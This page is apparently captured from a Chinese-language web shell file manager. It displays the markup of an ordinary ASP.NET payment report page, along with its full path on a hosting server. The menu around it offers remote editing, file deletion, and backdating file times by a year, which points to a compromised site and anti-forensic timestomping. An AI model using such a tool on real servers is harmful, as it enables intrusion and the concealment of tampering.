文件操作 - PaymentsDone.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\howell.kimbly.in\wwwroot\ReportsFinance\PaymentsDone.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="PaymentsDone.aspx.cs" Inherits="HowellWebService.ReportsFinance.PaymentsDone" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link href="../css/bootstrap.min.css" rel="stylesheet" /> <link href="../css/bootstrap-responsive.css" rel="stylesheet" /> </head> <body> <form id="form1" runat="server"> <div style="width:100%; margin-left:10px"><h4> Payment Done Report</h4><hr style="width:100%" /> </div> <div style="width:100%; margin-left:10px"><div style="width:15%; float:left"> <asp:TextBox ID="txtName" runat="server" placeholder="Name"></asp:TextBox> </div> <div style="width:10%; float:left; margin-left:10px">Start Date</div><div style="width:20%; float:left"> <asp:TextBox ID="txtSDate" runat="server" type="date"></asp:TextBox> </div> <div style="width:10%; float:left">End Date</div><div style="width:20%; float:left"> <asp:TextBox ID="txtEDate" runat="server" type="date"></asp:TextBox> </div> <div style="width:10%; float:left"> <asp:Button ID="BtnSearch" runat="server" Text="Search" CssClass="btn btn-success" OnClick="BtnSearch_Click" /> </div> <div style="width:10%; float:left"> <asp:Button ID="BtnExcel" runat="server" Text="Excel" CssClass="btn btn-default" OnClick="BtnExcel_Click"/> </div> </div> <div style="width:100%; margin-left:10px"> <hr style="width:100%" /> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" DataSourceID="SqlDataSource1" Width="798px" CellPadding="4" ForeColor="#333333" GridLines="None"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="CardNo" HeaderText="CardNo" SortExpression="CardNo" /> <asp:BoundField DataField="Name" HeaderText="Name" SortExpression="Name" /> <asp:BoundField DataField="PaidDate" DataFormatString="{0:dd-MMM-yyyy}" HeaderText="Date of Payment" SortExpression="PaidDate" /> <asp:BoundField DataField="ApprovedAmount" HeaderText="Approved Amount" SortExpression="ApprovedAmount" /> <asp:BoundField DataField="PaidAmount" HeaderText="Paid Amount" SortExpression="PaidAmount" /> <asp:BoundField DataField="Module" HeaderText="Module" SortExpression="Module" /> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SearchPayment" SelectCommandType="StoredProcedure"> <SelectParameters> <asp:Parameter DbType="Date" Name="SDate" /> <asp:Parameter DbType="Date" Name="EDate" /> <asp:Parameter Name="Name" Type="String" /> </SelectParameters> </asp:SqlDataSource> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件